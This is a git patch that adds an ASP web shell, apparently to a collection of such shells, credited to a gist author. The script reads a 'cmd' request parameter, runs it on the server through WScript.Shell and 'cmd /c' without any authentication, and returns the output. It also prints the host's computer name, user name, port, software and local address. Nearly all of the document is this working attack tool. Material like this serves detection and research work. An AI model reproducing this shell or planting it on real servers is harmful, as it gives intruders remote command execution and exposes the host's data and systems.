From c9479faa14b355a0af2e91265466b86ffb2d87cc Mon Sep 17 00:00:00 2001 From: tennc Date: Sat, 14 May 2016 17:32:00 +0800 Subject: [PATCH] add webshell.asp @saveeoo :+1: from : https://gist.github.com/saveeoo/a8af827510df085f7f1c83208a898098 author : saveeoo --- asp/webshell.asp | 50 ++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 50 insertions(+) create mode 100644 asp/webshell.asp diff --git a/asp/webshell.asp b/asp/webshell.asp new file mode 100644 index 0000000..d5e7d04 --- /dev/null +++ b/asp/webshell.asp @@ -0,0 +1,50 @@ + + + +<% +Set oScript = Server.CreateObject("WSCRIPT.SHELL") +Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") +Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") +Function getCommandOutput(theCommand) + Dim objShell, objCmdExec + Set objShell = CreateObject("WScript.Shell") + Set objCmdExec = objshell.exec(thecommand) + getCommandOutput = objCmdExec.StdOut.ReadAll +end Function +%> + + + + +
+ + +
+
+<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
+<%Response.Write(Request.ServerVariables("server_name"))%>
+

+The server's port: +<%Response.Write(Request.ServerVariables("server_port"))%> +

+

+The server's software: +<%Response.Write(Request.ServerVariables("server_software"))%> +

+

+The server's software: +<%Response.Write(Request.ServerVariables("LOCAL_ADDR"))%> +<% szCMD = request("cmd") +thisDir = getCommandOutput("cmd /c" & szCMD) +Response.Write(thisDir)%> +

+
+ +